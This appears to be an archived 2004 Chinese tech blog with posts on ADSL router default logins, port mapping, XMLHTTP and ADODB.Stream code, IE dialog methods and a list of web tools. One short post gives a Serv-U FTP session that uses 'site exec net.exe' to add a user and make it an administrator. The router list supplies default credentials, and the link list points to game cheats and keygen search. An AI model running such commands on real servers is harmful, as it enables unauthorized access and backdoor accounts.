username:
password assword

科迈易通km300A-G
http://192.168.1.1/
username:root
password:root

科迈易通km300A-A
http://192.168.1.1/
username:root or admin
password:123456

sunrise的SR-DSL-AE
http://192.168.1.1/
username:admin
password:0000

sunrise的DSL-802E_R3A
http://10.0.0.2/
username:admin
password:epicrouter
username:user
password assword

UTStar的ut-300R
http://192.168.1.1/
username:root or admin
password:utstar

这些都是一些ADSL设奋的出厂时的默认初始IP,用户名和密码,是要调试这些设奋时必须要知道的东西。

一般调试这些设奋有三种方法,一种是最常见的WEB方法,就是在浏览器中填入设奋的IP,如QX1680,就是在 浏览器地址栏输入10.0.0.2,出现提示栏后,输入用户名admin,密码qxcommsupport,就可以管理员设置界面了。最常见和最简单的就是这种方法。

第二种方法就是用TELNET的方法,telnet IP,如早期的合勤642,方法telnet
192.168.1.1,然后输入密码1234,就可以进入全英文的字符界面了。

第三种方法就是用厂商自带的配置程序来进入配置界面,如CyberLink 6307/6309KG
它使用在随Cybrlink 6307/6309KG带的光盘中DSLCom.exe,
出厂时默认值:路由IP地址 :1 92.168.1.1密码 :
stm,由于这种方法没有前两种方法方便,所以现在的低端产品比较少采用了。

绝大部分产品的调试都是要先通过产品自带的双绞线连接设奋后,把本机网卡的IP设置成跟该设奋同一网段,再进行配置,如设奋被改了默认的IP或者密码,大部分都可以通过复位来恢复出厂默认值。最常用也是最有用的方法就是把设奋断电后,一直按住复位键,然后通电,持续一小段时间后就可以恢复出厂默认值了

shelly 发表于  2004-10-11 10:33:25


   如何修改论坛头象为外部URL    |   阅读全文   |   评论(2)  |  引用(trackback2)  
有人在问如果修改论坛的头像,就做了下面的动画,希望大家喜欢
shelly 发表于  2004-09-21 13:38:32


   XMLHTTP对象及其方法    |   阅读全文   |   评论(2)  |  引用(trackback2)  

FROM :  CSDN
   XMLHTTP对象及其方法
------------------
MSXML中提供了Microsoft.XMLHTTP对象,能够完成从数据包到Request对象的转换以及发送任务。
创建XMLHTTP对象的语句如下:
Set objXML = CreateObject("Msxml2.XMLHTTP") 或
Set objXML = CreateObject(“Microsoft.XMLHTTP”)
' Or, for version 3.0 of XMLHTTP, use:
' Set xml = Server.CreateObject("MSXML2.ServerXMLHTTP")
对象创建后调用Open方法对Request对象进行初始化,语法格式为:
poster.open http-method, url, async, userID, password
Open方法中包含了5个参数,前三个是必要的,后两个是可选的(在服务器需要进行身份验证时提供)。参数的含义如下所示: 
http-method: HTTP的通信方式,比如GET或是 POST
url: 接收XML数据的服务器的URL地址。通常在URL中要指明 ASP或CGI程序
async: 一个布尔标识,说明请求是否为异步的。如果是异步通信方式(true),客户机就不等待服务器的响应;如果是同步方式(false),客户机就要等到服务器返回消息后才去执行其他操作
userID 用户ID,用于服务器身份验证
password 用户密码,用于服务器身份验证
XMLHTTP对象的Send方法
用Open方法对Request对象进行初始化后,调用Send方法发送XML数据:
poster.send XML-data
Send方法的参数类型是Variant,可以是字符串、DOM树或任意数据流。发送数据的方式分为同步和异步两种。在异步方式下,数据包一旦发送完毕,就结束Send进程,客户机执行其他的操作;而在同步方式下,客户机要等到服务器返回确认消息后才结束Send进程。
XMLHTTP对象中的readyState属性能够反映出服务器在处理请求时的进展状况。客户机的程序可以根据这个状态信息设置相应的事件处理方法。属性值及其含义如下表所示:
值 说明
0 Response对象已经创建,但XML文档上载过程尚未结束
1 XML文档已经装载完毕
2 XML文档已经装载完毕,正在处理中
3 部分XML文档已经解析
4 文档已经解析完毕,客户端可以接受返回消息
客户机处理响应信息
客户机接收到返回消息后,进行简单的处理,基本上就完成了C/S之间的一个交互周期。客户机接收响应是通过XMLHTTP对象的属性实现的:
● responseTxt:将返回消息作为文本字符串;
● responseXML:将返回消息视为XML文档,在服务器响应消息中含有XML数据时使用;
● responseStream:将返回消息视为Stream对象。

Set objXML = CreateObject("Microsoft.XMLHTTP") '创建XMLHTTP组件;
UrlSend = "http://xxxx/"
objXML.open "GET",UrlSend,false
objXML.send()
ReturnVar = objXML.responseText
'处理返回数据做判断!

'取得网页文件代码函数
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
 exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function

'字节转化成字符串函数
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function

比如你的myurl="www.163.com"
Content = getHTTPPage(myurl)
你可以response.write出content来看,然后用instr,mid,replace提炼出页面的主题

2

Function GetHTTPPage(url) '获取服务器生成的html代码
 on error resume next
 dim XmlHttp
 set XmlHttp=Server.createobject("Microsoft.XMLHTTP")
 XmlHttp.open "GET",url,false
 XmlHttp.send()
 'getHTTPPage=Http.responseText
 if XmlHttp.readystate<>4 then exit function
 GetHTTPPage=bytes2BSTR(XmlHttp.responseBody)
 set XmlHttp=nothing
 if err.number<>0 then err.Clear
End Function

Function Bytes2bStr(vin)
  Dim BytesStream,StringReturn
  Set BytesStream = Server.CreateObject("ADODB.Stream")
  BytesStream.Type = 2
  BytesStream.Open
  BytesStream.WriteText vin
  BytesStream.Position = 0
  BytesStream.Charset = "GB2312"
  BytesStream.Position = 2
  StringReturn =BytesStream.ReadText
  BytesStream.close
  Set BytesStream = Nothing
  Bytes2bStr = StringReturn
End Function

3

function GetXml(Url){
try{
 var XmlHttp=Server.CreateObject("Microsoft.XMLHTTP");
 XmlHttp.open("get",Url,false);
 XmlHttp.send();
 return XmlHttp.responseBody;
}catch(e){return null}
}
function Bytes2bStr(vin){
try{
 var BytesStream,StringReturn;
 BytesStream = Server.CreateObject("ADODB.Stream")
 with(BytesStream){
  Type =2;
  Open();
  WriteText(vin);
  Position = 0 ;
  Charset = "GB2312";
  Position = 2;
  StringReturn = ReadText();
  close();
 }
 BytesStream = null
 return StringReturn;
}catch(e){return ""}
}

 

shelly 发表于  2004-09-14 10:02:56


   具有FTP运行权限,利用一例。    |   阅读全文   |   评论(1)  |  引用(trackback2)  
ftp>open ip    
Connected to ip.
220 Serv-U FTP Server v5.0 for WinSock ready...
User (ip:(none)): ftpuser  //输入ftp用户
331 User name okay, please send complete E-mail address as password.
Password:password  //密码
230 User logged in, proceed.
ftp> cd winnt   //进入win2k的winnt目录,如果是winxp或者是win 2003就应该为windows目录。
250 Directory changed to /WINNT
ftp>cd system32  //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user cc cc /add   //利用net命令添加用户。
200 EXEC command successful (TID=33).
ftp>quote site exec net.exe localhost administrators cc /add  //提升为超级用户
shelly 发表于  2004-08-27 12:25:01


   showModalDialog()、showModelessDialog()方法使用详解    |   阅读全文   |   评论(1)  |  引用(trackback2)  
FROM:http://dev.csdn.net/develop/article/15/15113.shtm

showModalDialog()、showModelessDialog()方法使用详解

 Javascript有许多内建的方法来产生对话框,如:window.alert(), window.confirm(),window.prompt().等。 然而IE提供更多的方法支持对话框。如:

  showModalDialog() (IE 4+ 支持)
  showModelessDialog() (IE 5+ 支持)


 window.showModalDialog()方法用来创建一个显示HTML内容的模态对话框,由于是对话框,因此它并没有一般用window.open()打开的窗口的所有属性。
 window.showModelessDialog()方法用来创建一个显示HTML内容的非模态对话框。

 当我们用showModelessDialog()打开窗口时,不必用window.close()去关闭它,当以非模态方式[IE5]打开时, 打开对话框的窗口仍可以进行其他的操作,即对话框不总是最上面的焦点,当打开它的窗口URL改变时,它自动关闭。而模态[IE4]方式的对话框始终有焦点(焦点不可移走,直到它关闭)。模态对话框和打开它的窗口相联系,因此我们打开另外的窗口时,他们的链接关系依然保存,并且隐藏在活动窗口的下面。

使用方法如下:
 vReturnValue = window.showModalDialog(sURL [, vArguments] [, sFeatures])
 vReturnValue = window.showModelessDialog(sURL [, vArguments] [, sFeatures])
参数说明:
 sURL
 必选参数,类型:字符串。用来指定对话框要显示的文档的URL。
 vArguments
 可选参数,类型:变体。用来向对话框传递参数。传递的参数类型不限,包括数组等。对话框通过window.dialogArguments来取得传递进来的参数。
 sFeatures
 可选参数,类型:字符串。用来描述对话框的外观等信息,可以使用以下的一个或几个,用分号“;”隔开。
  dialogHeight 对话框高度,不小于100px,IE4中dialogHeight 和 dialogWidth 默认的单位是em,而IE5中是px,为方便其见,在定义modal方式的对话框时,用px做单位。
   dialogWidth: 对话框宽度。
   dialogLeft: 距离桌面左的距离。
   dialogTop: 离桌面上的距离。
   center: {yes | no | 1 | 0 }:窗口是否居中,默认yes,但仍可以指定高度和宽度。
   help: {yes | no | 1 | 0 }:是否显示帮助按钮,默认yes。
   resizable: {yes | no | 1 | 0 } [IE5+]:是否可被改变大小。默认no。
   status: {yes | no | 1 | 0 } [IE5+]:是否显示状态栏。默认为yes[ Modeless]或no[Modal]。
  scroll:{ yes | no | 1 | 0 | on | off }:指明对话框是否显示滚动条。默认为yes。

  还有几个属性是用在HTA中的,在一般的网页中一般不使用。
  dialogHide:{ yes | no | 1 | 0 | on | off }:在打印或者打印预览时对话框是否隐藏。默认为no。
  edge:{ sunken | raised }:指明对话框的边框样式。默认为raised。
  unadorned:{ yes | no | 1 | 0 | on | off }:默认为no。

 传入参数:
 要想对话框传递参数,是通过vArguments来进行传递的。类型不限制,对于字符串类型,最大为4096个字符。也可以传递对象,例如:

 test1.htm
 ====================
 <script>
  var mxh1 = new Array("mxh","net_lover","孟子E章")
  var mxh2 = window.open("about:blank","window_mxh")
  // 向对话框传递数组
  window.showModalDialog("test2.htm",mxh1)
  // 向对话框传递window对象
  window.showModalDialog("test3.htm",mxh2)
 </script>

 test2.htm
 ====================
 <script>
  var a = window.dialogArguments
  alert("您传递的参数为:" + a)
 </script>

 test3.htm
 ====================
 <script>
  var a = window.dialogArguments
  alert("您传递的参数为window对象,名称:" + a.name)
 </script>

 可以通过window.returnValue向打开对话框的窗口返回信息,当然也可以是对象。例如:

 test4.htm
 ===================
 <script>
  var a = window.showModalDialog("test5.htm")
  for(i=0;i<a.length;i++) alert(a[i])
 </script>

 test5.htm
 ===================
 <script>
 function sendTo()
 {
  var a=new Array("a","b")
  window.returnValue = a
  window.close()
 }
 </script>
 <body>
 <form>
  <input value="返回" type=button onclick="sendTo()">
 </form>

 常见问题:
 1,如何在模态对话框中进行提交而不新开窗口?
 如果你 的 浏览器是IE5.5+,可以在对话框中使用带name属性的iframe,提交时可以制定target为该iframe的name。对于IE4+,你可以用高度为0的frame来作:例子,

 test6.htm
 ===================
 <script>
  window.showModalDialog("test7.htm")
 </script>

 test7.htm
 ===================
 if(window.location.search) alert(window.location.search)
 <frameset rows="0,*">
  <frame src="about:blank">
  <frame src="test8.htm">
 </frameset>

 test8.htm
 ===================
 <form target="_self" method="get">
 <input name=txt value="test">
 <input type=submit>
 </form>
 <script>
 if(window.location.search) alert(window.location.search)
 </script>
 2,可以通过http://servername/virtualdirname/test.htm?name=mxh方式直接向对话框传递参数吗?
 答案是不能。但在frame里是可以的。

shelly 发表于  2004-08-24 07:48:48


   Oh,MyGOD 在线查询系统    |   阅读全文   |   评论(0)  |  引用(trackback1)  

在线查询的网站


列车查询
http://www.kuaidian.com.cn/kuaidianchufa.htm
http://train.chinamor.cn.net/index.htm
http://www.china-holiday.com/asp/search/train.htm

飞机查询
http://www.china-holiday.com/asp/search/plane.asp
http://www.kuaidian.com.cn/kuaidianchufa.htm
http://www.cytsonline.com/default1.htm
http://travel.elong.com/air/
http://www.cswa.com/
http://www.china-traveller.com/traffic/

轮船查询
http://www.e-chinaticket.com/ship.asp
http://www.westtour.net/html/lc1.htm

汽车查询
http://www.kuaidian.com.cn/kuaidianchufa.htm
http://www.e-chinaticket.com/bus.asp
http://www.zhongshanbus.com/

域名查询
http:///whois/mcheck.net

歌词搜索
http://www.yemusic.com/

足球彩票
http://lottery.sportscn.com/

福利彩票
http://www.zhcw.com/

体育彩票
http://www.lottery.gov.cn/

世界地图
http://www.go2map.com/

天气预报
http://www.t7online.com/cgi-bin/index?LANG=cn
全国主要城市24小时天气预报
http://weather.china.com.cn/cweather24.php

电视节目查询
http://www.cctv.com/tvguide/index.shtml

翻译全球
http://www.netat.net/
http://babelfish.altavista.com/

标准时间
http://www.zhss.com/index/sj.htm

国际时差表
http://citylife.stinfo.net/shicha.asp

学历查询
http://www.chinadaxuesheng.com/xuelichaxun/index.htm

在网吧上网的请进,可以完整的使用网吧电脑
http://www.zhss.com/index/zhsswwbjm.htm

中国移动话费查询
http://www.chinamobile.com/qita/hfcx.htm
http://service.jsmcc.com/query_index/ 江苏

联通移动话费查询
http://www.cnuninet.com/MobileCommu/fee_inquire.htm

http://www.taurus.com.cn/


安全期测试
http://www.66mm.com/aq.htm

历史上的今天
http://www.people.com.cn/GB/historic/0808/

酒店查询
http://www.xoyo.com/booking/searchhotel.asp

法律查询
http://www.legal-info.com.cn/

保险查询
http://www.cpic.com.cn/index.jsp

判例查询
http://www.legal-info.com.cn/cgi-bin/level.exe?l=lf

税则查询
http://www.businessonline.com.cn/community/query.htm

个人所得税计算器
http://finance.21cn.com/bank/computer/tax.html

合同范本
http://202.102.237.156/law/index2.htm

诉讼范本
http://202.102.237.156/law/index2.htm

通关守则
http://tjc.online.tj.cn/ref/

WTO 查询
http://www.wtoinfo.net.cn/cgi-bin/index.php

展会查询
http://www.ccnf.com/fair/new/search.asp

旅游查询
http://www.xoyo.com/travel/travellineindex.asp

房屋计算工具 - 个人住房贷款计算
http://house.etang.com/html/tools/calculate_loan.htm

房屋计算工具- 个人税费计算
http://house.etang.com/html/tools/calculate_fee.htm

装潢价格估算
http://house.etang.com/html/tools/upholster_eval.htm

公房售价计算
http://house.etang.com/html/tools/commonality_eval.htm

重点城市空气质量
http://service.21cn.com/weather/index.html

美萍中文网站精选的IE在线恢复
http://www.mpsoft.net/clear.htm

ip搜索
http://www.ipsprite.com/

电话区号查询
http://www.ipsprite.com/areacode.html

手机区号查询(仅限中国大陆)
http://www.ipsprite.com/areacode.html

“*”号密码查看器
http://www.7758520.com/rj/soft.asp?id=6

传奇心灵启示外挂
http://7758520.com/down/mir.zip

传奇25个区通用外挂
http://7758520.com/rj/soft.asp?id=248

万能解压软件
http://7758520.com/down/zip.exe

兆信认证网-兆信防伪网络
http://www.p-pass.com/default_normal.asp

中央政府 地方网站 中国经济网 中国教育网 中国电信
http://www.sz.gov.cn/14-dh/default.htm

在线寻呼
http://www.cqrail.com/

線上收耞全球華人廣播
http://radioguide.iwant-in.net/
http://www.yt165.com/130/130-hfcx.htm

网络探测检查
http://www.sky.net.cn/main/view.php?cid=168

世界网络速度测试
http://www.linkwan.com/gb/broadmeter/
http://211.162.227.37/linktest/main.asp
http://www.pc286.com/other/speed.asp

歌词搜索
http://skyhits.com/music/lyric_wangyao.htm
http://www.net-kool.com/
http://www.yemusic.com/

中国城市介绍
http://www.cncn.com/

中华民族
http://www.cncn.com/channel/nation.htm

特服电话号码
http://www.shunde.net/dxfw/especialno.htm

在线电话本
http://www.cnpick.com/www/index.asp?www=电话本

网络速度测试
http://www.linkwan.com/gb/broadmeter/

学历查询
http://www.chinadaxuesheng.com/xuelichaxun/index.htm

网上寻呼
http://www.ucinfo.com/

理财计算器
http://www.icbc.com.cn/finance/calculator-per.shtml

货币换算器
http://lidicity.com/lieguo/huobi.html

最新外汇牌价
http://202.102.239.182/hl/llhlcx.asp

世界货币转换
http://lidicity.com/lieguo/huobi.html

度量衡换算
http://www.cof.net.cn/zsbk/hsb/zdhsb.asp

IP搜索
http://ip.loveroot.com/
http://lrt.3see.com/guest/ip/ip2.htm
http://www.searchcn.net/mobile/other.php
http://www.yofoo.com/ipq/default.asp

高考资料
http://edu.sina.com.cn/exam/index.shtml

十万个为什么
http://100000.goyoyo.com.cn/index.shtml

专利查询
http://www.sipo.gov.cn/sipo/zljs/default.htm

察看源文件
http://www.j3j4.com/

在线杀毒
http://online.rising.com.cn/ravonline/online.htm
http://tech.wuhan.net.cn/scan/

标准时间
http://www.zhss.com/index/sj.htm

注册码注册器搜索
http://astalavista.box.sk/

驱动程序搜索
http://www.mydrivers.com/

匿名访问网址
http://www.anonymizer.com/

主页诊断测试
http://dashboard.netscape.com/company.html

在线gif图象压缩
http://www.gifcruncher.com/cgi-bin/gc/gifcruncher.cgi

常见标准代号一览表
http://www.ndtinfo.net/hichina/biaozhun/daihao.html

中国地区邮政编码和区号
http://www.searchcn.net/mobile/other.php

国际代码区号
http://www.sh.hl.cn/dxyw/yh/yh4.htm
http://www.dqt.com.cn/zxkj/phone/gj%20code.htm

全球国家城市信息
http://www.traveljournals.net/countries/index.asp

历史上的今天
http://www.peopledaily.com.cn/GB/historic/1220/

天网安全检测-木马检测-端口扫描-信息泄漏检查-系统安全性检查
http://www.sky.net.cn/main/view.php?cid=6

金山毒霸在线查毒
http://www.duba.net/antiscan/

车市行情
http://auto.sina.com.cn/buy/newprice/


3721便民服务
http://www.3721.com/info/service.htm

华夏认证中心/北京九千标准质量认证中心
http://www.ccci.com.cn/

北京天天假日酒店预订网
http://www.365holiday.net/online/Asp9999.asp

手机标志验证 手机IMEI号验证 证书查询
http://www.tenaa.com.cn/FlagValidate.aspx

手机号码查询
http://www.imobile.com.cn/
http://www.searchcn.net/mobile/other.php

英汉单词翻译
http://www1.lanlian.com.cn/english/searnch

E-mail地址生成器
http://www.51wc.com/email.cgi

情书生成投递系统
http://www.51wc.com/lovemail/lovemail.htm


香港字典:
英汉字典(英文翻中文):http://www.hkdict.com/
[中文翻英文]:http://www.hkdict.com/cedict_gb.html

译典通翻译专家中心-线上字典:http://www.dreye.com.cn/

在线即时翻译[英汉、汉英、日汉、汉日、俄汉,德汉]可翻句子:
http://cjwei.r00.com/Translation.php

多语种大型机器翻译[浏览翻译、即时翻译、上载翻译……]:
http://www.165net.com/
即时翻译:http://www.165net.com/trans/chinese/instant.htm

shelly 发表于  2004-08-09 09:54:48


   有些可爱的方法给人耳目一新的感觉    |   阅读全文   |   评论(1)  |  引用(trackback2)  

呵呵,从CSDN上看到。的确要用脑去编,也不要太拘泥于书本上的算法。

原贴如下:
例如:
8=RIGHT(100+8,2)=08
懂不懂你看着办吧

向该同志学习、致敬!

shelly 发表于  2004-08-02 07:32:26


   ADODB.Stream 对象    |   阅读全文   |   评论(1)  |  引用(trackback1)  

From: http://www.w3schools.com/ado/ado_ref_stream.asp

Stream Object (ADO version 2.5)

The ADO Stream Object is used to read, write, and manage a stream of binary data or text.

A Stream object can be obtained in three ways:

  • From a URL pointing to a document, a folder, or a Record object
  • By instantiating a Stream object to store data for your application
  • By opening the default Stream object associated with a Record object

Syntax

objectname.property
objectname.method


Properties

Property Description
CharSet Sets or returns a value that specifies into which character set the contents are to be translated. This property is only used with text Stream objects (type is adTypeText)
EOS Returns whether the current position is at the end of the stream or not
LineSeparator Sets or returns the line separator character used in a text Stream object
Mode Sets or returns the available permissions for modifying data
Position Sets or returns the current position (in bytes) from the beginning of a Stream object
Size Returns the size of an open Stream object
State Returns a value describing if the Stream object is open or closed
Type Sets or returns the type of data in a Stream object

Methods

Method Description
Cancel Cancels an execution of an Open call on a Stream object
Close Closes a Stream object
CopyTo Copies a specified number of characters/bytes from one Stream object into another Stream object
Flush Sends the contents of the Stream buffer to the associated underlying object
LoadFromFile Loads the contents of a file into a Stream object
Open Opens a Stream object
Read Reads the entire stream or a specified number of bytes from a binary Stream object
ReadText Reads the entire stream, a line, or a specified number of characters from a text Stream object
SaveToFile Saves the binary contents of a Stream object to a file
SetEOS Sets the current position to be the end of the stream (EOS)
SkipLine Skips a line when reading a text Stream
Write Writes binary data to a binary Stream object
WriteText Writes character data to a text Stream object

shelly 发表于  2004-07-29 12:06:10


   Lycos 的空间广告十分了得    |   阅读全文   |   评论(1)  |  引用(trackback1)  

贴在这里,估需时用。

 

<script language="javascript">

myreg=new RegExp("lycos\.co.uk","i");
if ( !myreg.test("'"+top.location+"'") ) {
 nwreg=new RegExp ("http://([^/]+)?(/([a-z0-9A-Z\-\_]+)?[^']+)","i");
 rn=nwreg.exec("'"+self.location+"'");
 if (parent.frames.length==2) { top.location="http://" + rn[1] + rn[2]; }
 else { top.location="http://" + rn[1] + "/" + rn[3]; }
}

if(window == window.top) {
        var address=window.location;
        var s='<html><head><title>'+'</title></head>'+
        '<frameset cols="*,140" frameborder="0" border="0" framespacing="0" onload="return true;" onunload="return true;">'+
        '<frame src="'+address+'?" name="memberPage" marginwidth="0" marginheight="0" scrolling="auto" noresize>'+
  '<frame src="http://ads.tripod.lycos.co.uk/ad/google/frame.php?_url='+escape(address)+'&gg_bg=&gg_template=&mkw=&cat=noref" name="LycosAdFrame"  marginwidth="0" marginheight="0" scrolling="auto" noresize>'+
        '</frameset>'+
        '</html>';

        document.write(s);     
}
</script>

<空间 BODY>

</pre></xmp></noscript>

<script language="javascript" src="http://ads.tripod.lycos.co.uk/ad/test_frame_size.js"></script>

<script language="javascript">
if (!AD_clientWindowSize()) {
        document.write("<NOSC"+"RIPT>");
}
</script>

<!-- START RedMeasure V4 - Java v1.1  $Revision: 1.11 $ -->
<!-- COPYRIGHT 2000 Red Sheriff Limited -->

<script language="JavaScript"><!--
var pCid="uk_lycos-uk_0";
var w0=1;
var refR=escape(document.referrer);
if (refR.length>=252) refR=refR.substring(0,252)+"...";
//--></script>
<script language="JavaScript1.1"><!--
var w0=0;
//--></script>
<script language="JavaScript1.1" src="http://lycos-eu.imrworldwide.com/a1.js">
</script>
<script language="JavaScript"><!--
if(w0){
var imgN='<img src="http://lycos-eu.imrworldwide.com/cgi-bin/count?ref='+
 refR+'&cid='+pCid+'" width=1 height=1>';
if(navigator.userAgent.indexOf('Mac')!=-1){document.write(imgN);
}else{
 document.write('<applet code="Measure.class" '+
 'codebase="http://lycos-eu.imrworldwide.com/"'+'width=1 height=2>'+
 '<param name="ref" value="'+refR+'">'+'<param name="cid" value="'+pCid+
 '"><textflow>'+imgN+'</textflow></applet>');
 }
}
document.write("<COMMENT>");
//-->
</script>
<noscript>
<img src="http://lycos-eu.imrworldwide.com/cgi-bin/count?cid=uk_lycos-uk_0" width=1 height=1>
</noscript>
</COMMENT>
<!-- END RedMeasure V4 -->

<script type="text/javascript">
        function setCookie(name, value, expires, path, domain, secure) {
           var curCookie = name + "=" + escape(value) +
             ((expires) ? "; expires=" + expires.toGMTString() : "") +
             ((path) ? "; path=" + path : "") +
             ((domain) ? "; domain=" + domain : "") +
             ((secure) ? "; secure" : "");
           document.cookie = curCookie;
        }

        var ad_url = "http://ads.tripod.lycos.co.uk/ad/google/frame.php?_url="+escape(self.location)+"&gg_bg=&gg_template=&mkw=&cat=noref";
        var ref=window.document.referrer;


        if(parent.LycosAdFrame) {
                if(parent.memberPage && parent.memberPage.document.title ) {
                        parent.document.title=parent.memberPage.document.title;
                }

                if(parent.LycosAdFrame && parent.LycosAdFrame.location && (ref != "" && (ref+"?" != window.location) && (ref.substr(ref.length-1,1) != "/")) ) {
                        parent.LycosAdFrame.location.replace(ad_url);
                }
                setCookie("adFrameForcePHP",0,0," ");
                parent.document.body.cols = "*,140";
        }
        else if(top.LycosAdFrame && top.LycosAdFrame.location) {
                if ((ref != "" && (ref+"?" != top.window.location) && (ref.substr(ref.length-1,1) != "?"))) {
                        top.LycosAdFrame.location.replace(ad_url);
                }
                setCookie("adFrameForcePHP",0,0," ");
                top.document.body.cols = "*,140";
        }
        else {
                if (!window.opener) {
                        setCookie("adFrameForcePHP",1,0," ");
                }
                else {
                        setCookie("adFrameForcePHP",0,0," ");
                }
        }
 if (window.top.location.href.indexOf("http://members.lycos.co.uk")!=-1) {
  ad_frame = 1 ;
  window.top.document.body.cols="*,140" ;
 }

function resizeGoogleAdFrame() {
 window.top.document.body.cols = "*,140";
}


 if (ad_frame == 1 && AD_clientWindowSize()) {
  setInterval("resizeGoogleAdFrame()", 30);
 }

</script>

<script type="text/javascript" src="http://ads.tripod.lycos.co.uk/ad/ad.php?cat=noref&mkw=&CC=uk&ord=373373e3&adpref="></script>

shelly 发表于  2004-07-27 14:15:01


 

 

伊泰克 TD-2001 端口影射

   N多路由器端口映射(一)    |   阅读全文   |   评论(0)  |  引用(trackback1)  
神州数码DCAD-6010RA端口映射
 

首先登陆路由器的Web管理界面(默认的ip是:192..168.1.1,用户名是:adsl,密码是:adsl1234)
进入之后依次按如下顺序选择:Services—>NAT
在NAT Option选择NAT Rule Entry。然后点击“添加”,之后出线如下界面,填入相应参数。

设置完成后点击提交就行了。

具体参数说明如下:
Rule Flavor: 规则种类
Rule ID: 判断地址翻译规则的序号,最小的序号最先执行,如有规则符合,不在向更高的ID判断执行。
IF Name: 请选择相应的广域网接口,如PPP,1483B等
Protocol: 选择相应协议(TCP/UDP/ICMP等
Local Address From: 使用规则的本地IP起始值,如果选择全部则填0.0.0.0
Local Address To: 使用规则的本地IP终结值,如果是单一IP,填入IP起始值。如果选择全部则填255.255.255.0
Global Address From: 不用修改
Global Address To: 不用修改
Destination Port From: 目标IP的端口起始值
Destination Port To: 目标IP的端口终结值
Local Port: 本地IP端口

 

 

 

ALCATEL端口转发详解
 

以假设web服务器为例:
假设你web服务器的ip是10.0.0.2,网关的ip(也就是你路由器的局域网ip)是10.0.0.1。
首先在IE里面输入10.0.0.1,输入用户名和密码登陆到路由器管理界面,如下图:

选择”Advanced"高级选项,如下图:

然后选择"Advancde"里面的”NAT"选项,如下图:

选择“NEW”,新建一条转发规则,如下图:

其中协议“protocol”用默认的“tcp”,“Iside IP”也就是你服务器的私网ip为10.0.0.2,“Outside IP”是外部访问者的ip,全部选0。“inside port”和“outside port”都填80,如下图:

最后选择"Apply"整个设置就完成了。


相关文章:
 

注意:端口绑定只适用于启用NAPT状态下设置,在RFC 1483 Bridge模式下不可用。
只可绑定固定端口的服务,对非固定端口的服务不适用。
端口绑定最多可设20条。
以PPPoE 模式下架设FTP Server为例:假设Ftp服务器的内网IP是192.168.1.2。
首先进入MODEM的WEB控制界面,进NAPT选项,选中“Interface”里的“PPP ANY” ,在“Port Num”里填入FTP的端口号“21”,“Protocol”里选“TCP”协议,“Server IP Address”填入FTPServer的IP:“192.168.1.2”点“Add”再点“OK”

然后进入“Save Configuration”里点“Save”保存设置。

最后进“Reboot”点“Reboot”重起MODEM。

测试注意:用公网IP或域名测试端口绑定后的服务,必须在外网(与局域网断开的公网上)测,如在局域网内用公网IP测,因没有通过MODEM的NAPT解释,就会返回(只会登录MODEM或提示错误)。所以请断开局域网,用普通MODEM拨号后再用公网IP或域名测试。

 

 

 

ADSL 2110EH 端口映射
 

这里以假设Web服务器为例:
假设路由器的内网IP是192.168.0.1
在IE中用http://192.168.10.1进入 实达ADSL2110EH ROUTER(默认的用户名和密码是admin、conexant 管理配置面页,选择Services——NAT Rule Configuration——NAT——NAT Options:NAT Rule Entry——Add——进入端口映射添加设置面页,各项设置如下:
Rule ID:  2 (做第二个端口时改为3。依此类推)
Rule Flavor:  RDR 
IF Name:  ALL 
Protocol:  ANY
Local Address From:  192.168.10.* (内网IP)
Local Address To:  192.168.10.* (内网IP)
Global Address From:  0.0.0.0
Global Address To:  0.0.0.0
Destination Port From: 80
Destination Port To:  80
Local Port:  80

设置完后,选择 Submit 提交,最后选择Admin——Commit & Reboot——重启Modem。

 

 

TP-LINK TL-R410端口映射
 

以架设web server为例:路由器内网ip192.168.1.1,web server的内网地址为192.168.1.50;
1.首先登陆到路由器的Web管理界面.
2.点击左边"转发规则"前面的"+"号.
3.在展开的菜单里面点击"虚拟服务器".
4.在右边服务端口下面填"80",ip地址下面填"50",协议选择"TCP",最后别忘了在"启用"下面打勾.
5. 点"保存"之后就可以了.
具体情况请参照下图:

 

 

中兴831端口映射
 

端口映射方法:
Services>NAT>NAT Options>NAT Rule Entry>添加
Rule Flavor:RDR
Rule ID:随便添一个数字(比如添1)
IF Name:ppp-0
Protocol:ANY
Local Address From和Local Address To:填需要映射的内网IP,两个添相同的IP
Destination Port From;Destination Port To;Local Port
如做WEB服务则都填80
如做FTP服务则都填21,依次类推
保存设置
Admin>Commit&Reboot>确认>重起

 

 

全向1680ADSL成功端口映射
 

假如你的网络结构是全向adsl(带路由)+hub 没有服务器,
你想把其中的一机器(192。168。1。14)对外网提供web和ftp服务。
方法:进入全向adsl的设置项目,然后进入高级设置项目,选择虚拟服务器,会看到有三个空白,如果只想在192。168。1。14假设web和ftp可以这样填写:
8080 192.168.1.14按一下add
2121 192.168.1.14按一下add
然后保存设置,路由器重新启动拨号。

 

 

宽频蓝色小精灵路由器中设置端口映射
 

在高级设置页面下点“Distributed Servers Setup(Virtual Serves,虚拟主机设置)”
每个Virtual Server 定义为一个Service Port,所有对这个端口的访问都会重定向到相应的Service IP 所对应的计算机。

例如,假如您要:

在计算机192.168.123.10 上架设FTP 服务器。(port 21)
在计算机192.168.123.20 上架设Email的smtp 服务器。(port 25)
在计算机192.168.123.30 上架设Web 服务器。(port 80)
在计算机192.168.123.40 上架设Pop服务器。(port 110)

那么,您就需要在此页作如下设置:

Service Service Port Service IP Enable

FTP 21 192.168.123.10 √
Email 25 192.168.123.20 √
Web 80 192.168.123.30 √
Post Office 110 192.168.123.40 √

 

 

shelly 发表于  2004-07-26 12:40:11


   网站色彩选用禁忌。    |   阅读全文   |   评论(2)  |  引用(trackback1)  

http://www.vischeck.com/vischeck/

专用于模似色盲对网站的浏览。

呵呵,如果你是一个美工,就去在线检测一下你现在做的网站吧。

 

shelly 发表于  2004-07-20 13:22:09


